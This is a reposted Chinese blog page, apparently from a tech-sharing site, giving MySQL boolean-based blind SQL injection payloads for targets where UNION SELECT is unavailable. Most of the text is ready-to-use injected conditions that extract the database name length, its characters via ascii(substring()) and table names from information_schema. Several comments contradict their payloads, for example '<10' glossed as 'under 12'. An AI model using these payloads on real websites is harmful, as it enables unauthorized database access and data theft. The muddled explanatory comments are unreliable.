mysql不支持union_mysql不支持union select的盲注方法脚本安全 -电脑资料

猜解数据库长度

and Length((database()))<10 //小于12返回正常说明数据库是12位以下

and length((database()))<8 //小于8返回错误说明数据库名是9位的

猜解数据库名

and ascii(substring((database()),1,1))=100 //100的ascii码=d,说明不是d

and ascii(substring((database()),1,1))=122 //122存在说明数据库名第一位是z

and ascii(substring((database()),2,1))=114 返回错误说明不是ascii码114=r 说明第二位不是r

and ascii(substring((database()),2,1))=115 返回正常说明第二位是s

.....

猜表

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))<10 #小于8返回正常表示表小于10

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 limit 0,1))>9 #大于9返回错误,表示值是9或8...

ascii码表参考:

http://apps.hi.baidu.com/share/detail/16685682

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值